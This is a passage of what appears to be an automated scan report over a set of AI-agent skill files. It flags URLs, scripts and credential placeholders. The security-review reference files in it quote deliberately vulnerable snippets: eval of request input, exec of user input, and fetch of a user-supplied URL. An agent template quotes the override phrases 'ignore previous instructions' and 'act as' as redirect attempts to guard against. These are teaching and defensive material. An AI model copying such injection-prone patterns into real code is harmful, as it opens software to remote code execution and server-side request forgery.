Execution ID: `019b831d-xxx` View Live: https://app.scoutqa.ai/t/019b831d-xxx - Network accessline 302
View Live: https://app.scoutqa.ai/t/019b831d-xxx - Network accessline 384
**Target URL:** `<URL>` **Execution ID:** `<019b831d-xxx or ex_abc123>` **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL - Network accessline 386
**Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL - Network accessline 404
- [ ] `name` is `scoutqa-test` and matches the parent directory. - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such - Network accessline 405
- [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - [ ] Local URLs suc - Network accessline 406
- [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - Network accessline 407
- [ ] Local URLs such as `http://localhost:3000`, `http://localhost:3000/register`, `localhost`, and `127.0.0.1` are allowed when the app is running.
harness/claude-code/skills/sdd-requirements-engineer/references/ears-notation.md
- Network accessline 103
- Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25. - Network accessline 104
- A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9). - Network accessline 105
- University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.
harness/claude-code/skills/secret-scanning/SKILL.md
- Network accessline 159
- [Secret scanning in AI coding agents via the GitHub MCP Server](https://github.blog/changelog/2026-03-17-secret-scanning-in-ai-coding-agents-via-the-github-mcp-server/)
harness/claude-code/skills/secret-scanning/references/push-protection.md
- Network accessline 155
For the full list of patterns supported by push protection, see [Supported secret scanning patterns](https://docs.github.com/en/code-security/secret-scanning/introduction/supported-secret-scanning-patterns).
harness/claude-code/skills/security-review/references/language-patterns.md
- Dangerous shell operationline 11
eval() // arbitrary code execution - Dangerous shell operationline 87
eval(request.args.get('expr')) - Network accessline 116
// XXE DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // Missing: dbf.setFeature("http://apache.org/xml/features/" + "disallow-doctype-decl", true) - Network accessline 118
// Missing: dbf.setFeature("http://apache.org/xml/features/" + "disallow-doctype-decl", true) - Dangerous shell operationline 143
eval($_POST['code']); - Dangerous shell operationline 192
eval(params[:code])
harness/claude-code/skills/security-review/references/report-format.md
- Network accessline 114
Action Required: 1. Rotate this key IMMEDIATELY at https://dashboard.stripe.com - Network accessline 115
1. Rotate this key IMMEDIATELY at https://dashboard.stripe.com - Access to secretsline 117
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted]
harness/claude-code/skills/security-review/references/secret-patterns.md
- Access to secretsline 86
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Access to secretsline 142
[Credential-related source omitted] - Access to secretsline 151
[Credential-related source omitted] - Access to secretsline 154
[Credential-related source omitted] - Access to secretsline 171
[Credential-related source omitted] - Access to secretsline 172
[Credential-related source omitted] - Access to secretsline 173
[Credential-related source omitted] - Access to secretsline 174
[Credential-related source omitted]
harness/claude-code/skills/security-review/references/vuln-categories.md
- Dangerous shell operationline 46
- `eval()`, `setTimeout(string)`, `setInterval(string)` with user data - Dangerous shell operationline 61
exec(userInput) - Dangerous shell operationline 71
eval(user_input) - Dangerous shell operationline 76
exec($input) - Network accessline 100
fetch(req.body.url) - Access to secretsline 171
[Credential-related source omitted]
harness/claude-code/skills/security-review/references/vulnerable-packages.md
harness/claude-code/skills/semantic-kernel/SKILL.md
- Network accessline 26
- Internet or documentation access is required to consult the Semantic Kernel overview: <https://learn.microsoft.com/semantic-kernel/overview/>. - Use Microsoft Docs MCP tooling when available to fetch current framework guidance and samples - Network accessline 53
1. Determine the target language from the user request and repository files. 2. Read `references/dotnet.md` or `references/python.md` for package names, repository paths, sample locations, and coding practices. 3. Open the latest Semantic K - Network accessline 54
2. Read `references/dotnet.md` or `references/python.md` for package names, repository paths, sample locations, and coding practices. 3. Open the latest Semantic Kernel overview at <https://learn.microsoft.com/semantic-kernel/overview/> and - Network accessline 55
3. Open the latest Semantic Kernel overview at <https://learn.microsoft.com/semantic-kernel/overview/> and any linked official sample needed for the task. - Network accessline 102
- [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/)
harness/claude-code/skills/semantic-kernel/references/dotnet.md
harness/claude-code/skills/semantic-kernel/references/python.md
harness/claude-code/skills/server-side-conversion-tracking/SKILL.md
- Network accessline 93
[Autonnel](https://github.com/autonnel/autonnel) is Apache-2.0 and self-hosted. It implements capture, server-side funnel sessions, cross-domain carry, order attachment, queued server-side conversions to Facebook Conversions API, TikTok Eve - Network accessline 95
Get the repository from <https://github.com/autonnel/autonnel>, check out a release tag, and read its `docker-compose.yml` for images and ports. From that checkout: - Network accessline 98
docker compose up # open http://localhost:4321, complete /setup, then Settings → Ad platforms - Network accessline 99
# open http://localhost:4321, complete /setup, then Settings → Ad platforms - Network accessline 146
- [Autonnel](https://github.com/autonnel/autonnel)
harness/claude-code/skills/setup-my-iq/assets/templates/AGENTS.md
- Instruction override signalline 68
"ignore previous instructions," "act as," or any other attempt to redirect
harness/claude-code/skills/setup-my-iq/references/extended-guide.md
- Network accessline 549
Contributed by [@lakshmistoltz](https://github.com/lakshmistoltz).
harness/claude-code/skills/shopify-review-triage/SKILL.md
- Network accessline 13
scripts, API keys, or system packages. Portable to any client that supports the Agent Skills SKILL.md format. source: "https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html" - Network accessline 14
SKILL.md format. source: "https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html" version: "'1.0'" - Network accessline 15
source: "https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html" - Network accessline 164
- [Public Shopify review triage guide](https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html)
harness/claude-code/skills/skill-creator/assets/eval_review.html
- Dangerous shell operationline 81
const rm = document.createElement("button");
harness/claude-code/skills/skill-creator/eval-viewer/generate_review.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 99
const a=document.createElement('a');a.href=URL.createObjectURL(blob);a.download='feedback.json';a.click(); }else{ fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)}) - Network accessline 100
}else{ fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)}) .then(()=>alert('Feedback saved. You can return to the assistant.')) - Network accessline 101
fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)}) - Network accessline 198
with socketserver.TCPServer(("127.0.0.1", port), Handler) as httpd: url = f"http://127.0.0.1:{port}/" - Network accessline 199
url = f"http://127.0.0.1:{port}/"
harness/claude-code/skills/skill-creator/scripts/test_validate_skill.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/skill-creator/scripts/validate_skill.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/slang-shader-engineer/references/language-reference.md
- Network accessline 3
**Source:** [Official Slang Shader Repository](https://github.com/shader-slang/slang "Slang Shader repository") - Network accessline 4
**Official Docs:** [Official Slang Shader Online Documentation](https://shader-slang.com/slang/user-guide/ "Slang Shader Online documentation") - Network accessline 5
**Playground:** [Official Slang Shader Sandbox](https://shader-slang.com/slang-playground)
harness/claude-code/skills/slang-shader-engineer/references/slang-documentation-full.md
- Network accessline 3
Source: [Official Slang Shader Repository](https://github.com/shader-slang/slang "Slang Shader repository") - Network accessline 1311
git clone https://github.com/shader-slang/slang --recursive - Network accessline 1347
# Install and activate Emscripten git clone https://github.com/emscripten-core/emsdk.git - Network accessline 1348
git clone https://github.com/emscripten-core/emsdk.git - Network accessline 1479
Source: [Slang Shader repository docs](https://github.com/shader-slang/slang/tree/master/docs)
harness/claude-code/skills/snowflake-semanticview/SKILL.md
- Network accessline 135
- [Snowflake CLI installation](https://docs.snowflake.com/en/developer-guide/snowflake-cli/installation/installation) - Network accessline 136
- [Configure Snowflake CLI connections](https://docs.snowflake.com/en/developer-guide/snowflake-cli/connecting/configure-connections#add-a-connection) - Network accessline 137
- [CREATE SEMANTIC VIEW](https://docs.snowflake.com/en/sql-reference/sql/create-semantic-view) - Network accessline 138
- [COMMENT command](https://docs.snowflake.com/en/sql-reference/sql/comment) - Network accessline 139
- [Querying a semantic view](https://docs.snowflake.com/en/user-guide/views-semantic/querying#querying-a-semantic-view)
harness/claude-code/skills/sonarqube-api-query/SKILL.md
- Network accessline 168
- [SonarQube Server Web API](https://docs.sonarsource.com/sonarqube-server/extension-guide/web-api) - Network accessline 169
- [SonarQube Cloud Web API](https://docs.sonarsource.com/sonarqube-cloud/appendices/web-api) - Network accessline 170
- [Official SonarQube agent plugins](https://github.com/SonarSource/sonarqube-agent-plugins)
harness/claude-code/skills/sonarqube-api-query/references/web-api.md
- Network accessline 9
- SonarQube Server Web API documentation: <https://docs.sonarsource.com/sonarqube-server/extension-guide/web-api> - Network accessline 10
- SonarQube Cloud Web API documentation: <https://docs.sonarsource.com/sonarqube-cloud/appendices/web-api> - Network accessline 11
- SonarQube Server public endpoint metadata: <https://next.sonarqube.com/sonarqube/api/webservices/list> - Network accessline 12
- SonarQube Cloud EU endpoint metadata: <https://sonarcloud.io/api/webservices/list> - Network accessline 18
| Target | Web API v1 base URL | | --- | --- | | Self-hosted SonarQube Server | The instance root, including any context path, such as `https://sonarqube.example.com` or `https://example.com/sonarqube`. | - Network accessline 19
| --- | --- | | Self-hosted SonarQube Server | The instance root, including any context path, such as `https://sonarqube.example.com` or `https://example.com/sonarqube`. | | SonarQube Cloud EU | `https://sonarcloud.io` | - Network accessline 20
| Self-hosted SonarQube Server | The instance root, including any context path, such as `https://sonarqube.example.com` or `https://example.com/sonarqube`. | - Network accessline 21
| SonarQube Cloud EU | `https://sonarcloud.io` | - Network accessline 22
| SonarQube Cloud US | `https://sonarqube.us` | - Access to secretsline 29
[Credential-related source omitted] - Network accessline 32
- The `X-Sonar-Passcode` scheme is for specific monitoring operations and is not supported by the bundled helper. - A response may include `SonarQube-Authentication-Token-Expiration`; report it without exposing the token. - Allow `http://` - Network accessline 34
- Allow `http://` only when the selected local or internal instance actually uses it. Prefer HTTPS for remote instances.
harness/claude-code/skills/sonarqube-api-query/scripts/sonarqube_query.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 208
[Credential-related source omitted] - Network accessline 209
timeout: int, opener: Callable[..., Any] = urllib.request.urlopen, ) -> HttpResult: - Network accessline 210
opener: Callable[..., Any] = urllib.request.urlopen, - Network accessline 218
raise QueryError("token environment variable contains invalid newline characters") headers["Authorization"] = f"Bearer {token}" request = urllib.request.Request( - Network accessline 219
headers["Authorization"] = f"Bearer {token}" request = urllib.request.Request( request_url(base_url, endpoint, parameters), - Network accessline 220
request = urllib.request.Request( - Access to secretsline 755
[Credential-related source omitted] - Access to secretsline 756
[Credential-related source omitted] - Access to secretsline 760
[Credential-related source omitted] - Access to secretsline 854
[Credential-related source omitted]
harness/claude-code/skills/sonarqube-api-query/scripts/test_sonarqube_query.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 59
def test_base_url_preserves_context_path_and_rejects_credentials(self): self.assertEqual( normalize_base_url("https://example.test/sonarqube/"), - Network accessline 60
self.assertEqual( normalize_base_url("https://example.test/sonarqube/"), "https://example.test/sonarqube", - Network accessline 61
normalize_base_url("https://example.test/sonarqube/"), - Network accessline 62
"https://example.test/sonarqube", - Network accessline 63
) with self.assertRaisesRegex(QueryError, "must not contain credentials"): normalize_base_url("https://user:secret@example.test") - Network accessline 64
with self.assertRaisesRegex(QueryError, "must not contain credentials"): normalize_base_url("https://user:secret@example.test") with self.assertRaisesRegex(QueryError, "query string"): - Network accessline 65
normalize_base_url("https://user:secret@example.test") - Network accessline 67
[Credential-related source omitted] - Network accessline 94
[ "--base-url", "https://example.test", - Network accessline 95
"--base-url", "https://example.test", "issues", - Network accessline 96
"https://example.test", - Network accessline 131
[ "--base-url", "https://example.test", - Network accessline 132
"--base-url", "https://example.test", "projects", - Network accessline 133
"https://example.test", - Network accessline 155
[ "--base-url", "https://sonarcloud.io", - Network accessline 156
"--base-url", "https://sonarcloud.io", "--organization", - Network accessline 157
"https://sonarcloud.io", - Network accessline 192
[ "--base-url", "https://sonarcloud.io", - Network accessline 193
"--base-url", "https://sonarcloud.io", "hotspots", - Network accessline 194
"https://sonarcloud.io", - Network accessline 227
result = http_get( "https://example.test/sonarqube", - Network accessline 228
"https://example.test/sonarqube", - Network accessline 258
with self.assertRaisesRegex(QueryError, "Retry-After: 60"): http_get( "https://sonarcloud.io", - Network accessline 259
http_get( "https://sonarcloud.io", "/api/projects/search", - Network accessline 260
"https://sonarcloud.io", - Network accessline 289
result = execute_spec( spec, "https://example.test", - Network accessline 290
spec, "https://example.test", None, - Network accessline 291
"https://example.test", - Network accessline 322
result = execute_spec( spec, "https://example.test", - Network accessline 323
spec, "https://example.test", None, - Network accessline 324
"https://example.test", - Network accessline 356
result = execute_spec( spec, "https://example.test", - Network accessline 357
spec, "https://example.test", None, - Network accessline 358
"https://example.test", - Network accessline 391
result = execute_spec( spec, "https://example.test", - Network accessline 392
spec, "https://example.test", None, - Network accessline 393
"https://example.test",
harness/claude-code/skills/sponsor-finder/SKILL.md
- Network accessline 63
https://api.deps.dev/v3/systems/{ECOSYSTEM}/packages/{PACKAGE}/versions/{VERSION}:dependencies - Network accessline 68
https://api.deps.dev/v3/systems/npm/packages/express/versions/5.2.1:dependencies - Network accessline 93
https://api.deps.dev/v3/systems/{ECOSYSTEM}/packages/{NAME}/versions/{VERSION} - Network accessline 114
https://api.deps.dev/v3/projects/github.com%2F{owner}%2F{repo} - Network accessline 139
### 5a: npm `funding` field (npm ecosystem only) Use `web_fetch` on `https://registry.npmjs.org/{package-name}/latest` and check for a `funding` field: - Network accessline 140
Use `web_fetch` on `https://registry.npmjs.org/{package-name}/latest` and check for a `funding` field: - Network accessline 141
- **String: ** `"https://github.com/sponsors/sindresorhus"` → use as URL - Network accessline 142
- **Object: ** `{"type": "opencollective", "url": "https://opencollective.com/express"}` → use `url` - Network accessline 154
GitHub supports a [default community health files](https://docs.github.com/en/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file) convention: a `.github` repository at the user/org level p - Network accessline 158
Parse the YAML (same for both 5b-i and 5b-ii): - `github: [username]` → `https://github.com/sponsors/{username}` - Network accessline 159
- `github: [username]` → `https://github.com/sponsors/{username}` - Network accessline 160
- `open_collective: slug` → `https://opencollective.com/{slug}` - Network accessline 161
- `ko_fi: username` → `https://ko-fi.com/{username}` - Network accessline 162
- `patreon: username` → `https://patreon.com/{username}` - Network accessline 163
- `tidelift: platform/package` → `https://tidelift.com/subscription/pkg/{platform-package}` - Network accessline 255
1.**@{user}**— {N} direct + {M} transitive deps · Maintained {dep1}, {dep2}, {dep3}, ... https://github.com/sponsors/{user} - Network accessline 257
https://github.com/sponsors/{user} - Network accessline 259
2.**Open Collective: {name}**— {N} direct + {M} transitive deps · Maintained {dep1}, {dep2}, {dep3}, ... https://opencollective.com/{name} - Network accessline 261
https://opencollective.com/{name} - Network accessline 263
3.**@{user2}**— {N} direct dep · Low activity {dep1} https://github.com/sponsors/{user2} - Network accessline 265
https://github.com/sponsors/{user2}
harness/claude-code/skills/spring-boot-testing/references/instancio.md
harness/claude-code/skills/spring-boot-testing/references/restclienttest.md
- Network accessline 40
void shouldFetchWeather() { // Given server.expect(requestTo("https://api.weather.com/v1/current")) - Network accessline 41
// Given server.expect(requestTo("https://api.weather.com/v1/current")) .andExpect(method(HttpMethod.GET)) - Network accessline 42
server.expect(requestTo("https://api.weather.com/v1/current")) - Network accessline 71
@Test void shouldFetchWeatherWithRestClient() { server.expect(requestTo("https://api.weather.com/v1/current")) - Network accessline 72
void shouldFetchWeatherWithRestClient() { server.expect(requestTo("https://api.weather.com/v1/current")) .andRespond(withSuccess() - Network accessline 73
server.expect(requestTo("https://api.weather.com/v1/current")) - Network accessline 89
server.expect(requestTo("https://api.example.com/users/1")) - Network accessline 96
server.expect(requestTo(matchesPattern("https://api.example.com/users/\\d+"))) - Network accessline 103
server.expect(ExpectedCount.once(), requestTo("https://api.example.com/users")) - Network accessline 104
requestTo("https://api.example.com/users")) - Network accessline 112
server.expect(requestTo("https://api.example.com/users")) - Network accessline 121
server.expect(requestTo("https://api.example.com/users")) - Network accessline 173
void shouldCallApi() { server.expect(ExpectedCount.once(), requestTo("https://api.example.com/data")) - Network accessline 174
server.expect(ExpectedCount.once(), requestTo("https://api.example.com/data")) .andRespond(withSuccess()); - Network accessline 175
requestTo("https://api.example.com/data"))
harness/claude-code/skills/sql-server-table-reconciliation/SKILL.md
- Access to secretsline 91
[Credential-related source omitted]
harness/claude-code/skills/sql-server-table-reconciliation/scripts/reconcile.py
harness/claude-code/skills/steno-mode/SKILL.md
- Access to secretsline 50
[Credential-related source omitted]
harness/claude-code/skills/suggest-awesome-github-copilot-agents/SKILL.md
- Network accessline 27
Use web access to read the awesome-copilot catalog and raw agent files. The catalog is at `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`; agent files are under `https://github.com/github/awesome-copilot/tree/mai - Network accessline 33
1. Fetch the available custom agent list and descriptions from `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`. - Network accessline 34
2. List every local `.github/agents/*.agent.md` file. 3. Read local frontmatter and body to inventory descriptions, tools, and instructions. 4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercont - Network accessline 35
3. Read local frontmatter and body to inventory descriptions, tools, and instructions. 4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` - Network accessline 36
4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}`. - Network accessline 80
| Awesome-Copilot Custom Agent | Description | Already Installed | Similar Local Custom Agent | Suggestion Rationale | | --- | --- | --- | --- | --- | | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilo - Network accessline 81
| --- | --- | --- | --- | --- | | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/amplitude-experiment-implementation.agent.md) | This custom agent uses Amplitude's MCP tools to depl - Network accessline 82
| [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/amplitude-experiment-implementation.agent.md) | This custom agent uses Amplitude's MCP tools to deploy new experiments inside of Amp - Network accessline 83
| [launchdarkly-flag-cleanup.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/launchdarkly-flag-cleanup.agent.md) | Feature flag cleanup agent for LaunchDarkly | Yes | `launchdarkly-flag-cleanup.agent.md` | Already cover - Network accessline 84
| [principal-software-engineer.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/principal-software-engineer.agent.md) | Provide principal-level software engineering guidance with focus on engineering excellence, technica - Network accessline 100
| Awesome-Copilot Custom Agent | Description | Already Installed | Similar Local Custom Agent | Suggestion Rationale | | --- | --- | --- | --- | --- | | `[agent-name.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/agent - Network accessline 102
| `[agent-name.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/agent-name.agent.md)` | `<description>` | `No | Yes | Outdated` | `<local filename or None>` | `<why it fits, duplicate rationale, or specific outdated diff - Network accessline 107
- [ ] The awesome-copilot README agents catalog was fetched from `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`. - Network accessline 108
- [ ] Local `.github/agents/*.agent.md` files were listed and their frontmatter descriptions were read. - [ ] Remote versions were fetched from `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` for comparable - Network accessline 109
- [ ] Remote versions were fetched from `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` for comparable local agents. - Network accessline 117
- [Awesome Copilot agents catalog](https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md) - Network accessline 118
- [Awesome Copilot agents folder](https://github.com/github/awesome-copilot/tree/main/agents)
harness/claude-code/skills/suggest-awesome-github-copilot-instructions/SKILL.md
- Network accessline 26
- Read local instruction files from `.github/instructions/` and repository-wide instructions from `.github/copilot-instructions.md` when present. - Fetch the catalog from <https://github.com/github/awesome-copilot/blob/main/docs/README.inst - Network accessline 27
- Fetch the catalog from <https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md>. - Network accessline 28
- Fetch remote instruction versions with raw URLs: `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`. - Network accessline 34
2. Discover local `*.instructions.md` files in `.github/instructions/` and, when relevant, community `instructions/` files. 3. Read YAML front matter from local files to extract `description` and `applyTo` patterns. 4. For each local file t - Network accessline 35
3. Read YAML front matter from local files to extract `description` and `applyTo` patterns. 4. For each local file that corresponds to an awesome-copilot file, fetch the raw remote version using `https://raw.githubusercontent.com/github/awe - Network accessline 36
4. For each local file that corresponds to an awesome-copilot file, fetch the raw remote version using `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`. - Network accessline 84
| Awesome-Copilot Instruction | Description | Already Installed | Similar Local Instruction | Suggestion Rationale | | --- | --- | --- | --- | --- | | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions - Network accessline 85
| --- | --- | --- | --- | --- | | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) | Blazor development guidelines | Yes | `blazor.instructions.md` | Already covered by existi - Network accessline 86
| [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) | Blazor development guidelines | Yes | `blazor.instructions.md` | Already covered by existing Blazor instructions. | - Network accessline 87
| [pcf-react-platform-libraries.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/pcf-react-platform-libraries.instructions.md) | ReactJS development standards | No | None | Would enhance React development wi - Network accessline 88
| [java-junit5-assertions.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md) | Java development best practices | Outdated | `java-junit5-assertions.instructions.md` | `a - Network accessline 116
| Local file | Remote file | Key differences | Recommendation | | --- | --- | --- | --- | | `.github/instructions/<file>.instructions.md` | `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}` | <descripti - Network accessline 118
| `.github/instructions/<file>.instructions.md` | `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}` | <description/applyTo/content differences> | update | keep | - Network accessline 126
- [ ] The awesome-copilot catalog at <https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md> was checked. - Network accessline 127
- [ ] Local `.github/instructions/` files were inventoried, including `description` and `applyTo`. - [ ] Remote raw versions were fetched for comparable local files using `https://raw.githubusercontent.com/github/awesome-copilot/main/instru - Network accessline 128
- [ ] Remote raw versions were fetched for comparable local files using `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`. - Network accessline 136
- [Awesome Copilot instructions catalog](https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md) - Network accessline 137
- [Blazor instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) - Network accessline 138
- [PCF React platform libraries instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/pcf-react-platform-libraries.instructions.md) - Network accessline 139
- [Java JUnit 5 assertions instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md) - Network accessline 140
- [Raw instruction URL pattern](https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename})
harness/claude-code/skills/suggest-awesome-github-copilot-skills/SKILL.md
- Network accessline 26
- Remote catalog: https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md. - Remote skill folders live under https://github.com/github/awesome-copilot/tree/main/skills. - Use `web_fetch` for README and raw `SKILL.md` files - Network accessline 27
- Remote skill folders live under https://github.com/github/awesome-copilot/tree/main/skills. - Use `web_fetch` for README and raw `SKILL.md` files. Use `execute/bash` with `curl` only when a bundled asset cannot be retrieved completely thr - Network accessline 35
1. Fetch the available skill list and descriptions from https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md. - Network accessline 37
3. For each local folder, read `SKILL.md` front matter and extract `name` and `description`. 4. List bundled assets in each local skill folder. 5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://r - Network accessline 38
4. List bundled assets in each local skill folder. 5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md`. 6. Compar - Network accessline 39
5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md`. - Network accessline 71
https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md - Network accessline 76
- https://github.com/github/awesome-copilot/tree/main/skills/gh-attach - Network accessline 77
- https://github.com/github/awesome-copilot/tree/main/skills/aspire - Network accessline 78
- https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer - Network accessline 104
| Awesome-Copilot Skill | Description | Bundled Assets | Already Installed | Similar Local Skill | Suggestion Rationale | | --- | --- | --- | --- | --- | --- | | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-atta - Network accessline 105
| --- | --- | --- | --- | --- | --- | | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) | GitHub CLI skill for managing repositories and workflows | None | No | None | Would enhance GitHub workflow automati - Network accessline 106
| [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) | GitHub CLI skill for managing repositories and workflows | None | No | None | Would enhance GitHub workflow automation capabilities | - Network accessline 107
| [aspire](https://github.com/github/awesome-copilot/tree/main/skills/aspire) | Aspire skill for distributed application development | 9 reference files | Yes | aspire | Already covered by existing Aspire skill | - Network accessline 108
| [terraform-azurerm-set-diff-analyzer](https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer) | Analyze Terraform AzureRM provider changes | Reference files | Outdated | terraform-azurerm-set-diff-a - Network accessline 119
- [ ] The awesome-copilot README skills catalog was fetched from https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md. - Network accessline 129
- [awesome-copilot skills README](https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md) - Network accessline 130
- [awesome-copilot skills folder](https://github.com/github/awesome-copilot/tree/main/skills) - Network accessline 131
- [gh-attach skill](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) - Network accessline 132
- [aspire skill](https://github.com/github/awesome-copilot/tree/main/skills/aspire) - Network accessline 133
- [terraform-azurerm-set-diff-analyzer skill](https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer)
harness/claude-code/skills/swift-mcp-server-generator/references/project-templates.md
- Network accessline 20
dependencies: [ .package( url: "https://github.com/modelcontextprotocol/swift-sdk.git", - Network accessline 21
.package( url: "https://github.com/modelcontextprotocol/swift-sdk.git", from: "0.10.0" - Network accessline 22
url: "https://github.com/modelcontextprotocol/swift-sdk.git", - Network accessline 24
), .package( url: "https://github.com/apple/swift-log.git", - Network accessline 25
.package( url: "https://github.com/apple/swift-log.git", from: "1.5.0" - Network accessline 26
url: "https://github.com/apple/swift-log.git", - Network accessline 28
), .package( url: "https://github.com/swift-server/swift-service-lifecycle.git", - Network accessline 29
.package( url: "https://github.com/swift-server/swift-service-lifecycle.git", from: "2.0.0" - Network accessline 30
url: "https://github.com/swift-server/swift-service-lifecycle.git", - Network accessline 573
The server uses: - [MCP Swift SDK](https://github.com/modelcontextprotocol/swift-sdk) - MCP protocol implementation - Network accessline 574
- [MCP Swift SDK](https://github.com/modelcontextprotocol/swift-sdk) - MCP protocol implementation - Network accessline 575
- [swift-log](https://github.com/apple/swift-log) - Structured logging - Network accessline 576
- [swift-service-lifecycle](https://github.com/swift-server/swift-service-lifecycle) - Graceful shutdown
harness/claude-code/skills/terraform-azurerm-set-diff-analyzer/SKILL.md
harness/claude-code/skills/terraform-azurerm-set-diff-analyzer/references/azurerm_set_attributes.md
- Network accessline 74
1. **Check Official Documentation** - Search for the resource in [Terraform Registry](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs) - Network accessline 75
- Search for the resource in [Terraform Registry](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs) - Network accessline 79
2. **Check Source Code (more reliable)** - Search for the resource in [AzureRM Provider GitHub](https://github.com/hashicorp/terraform-provider-azurerm) - Network accessline 80
- Search for the resource in [AzureRM Provider GitHub](https://github.com/hashicorp/terraform-provider-azurerm)
harness/claude-code/skills/terraform-azurerm-set-diff-analyzer/scripts/.gitignore
harness/claude-code/skills/terraform-azurerm-set-diff-analyzer/scripts/analyze_plan.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/test-data-management/SKILL.md
- Network accessline 134
- [NIST SP 800-188: De-Identifying Government Datasets](https://csrc.nist.gov/pubs/sp/800/188/final) - Network accessline 135
- [GDPR Recital 26: anonymous information](https://gdpr-info.eu/recitals/no-26/) - Network accessline 136
- [Test Data Builder pattern](https://www.natpryce.com/articles/000714.html)
harness/claude-code/skills/threat-model-analyst/references/analysis-principles.md
- Network accessline 184
Reference: https://owasp.org/Top10/2025/ - Network accessline 387
### SDL Bugbar Severity Classify each finding per: https://www.microsoft.com/en-us/msrc/sdlbugbar - Network accessline 388
